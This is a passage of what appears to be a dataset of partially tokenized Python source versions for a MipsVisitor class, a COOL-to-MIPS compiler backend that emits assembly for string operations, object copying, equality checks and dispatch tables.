12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 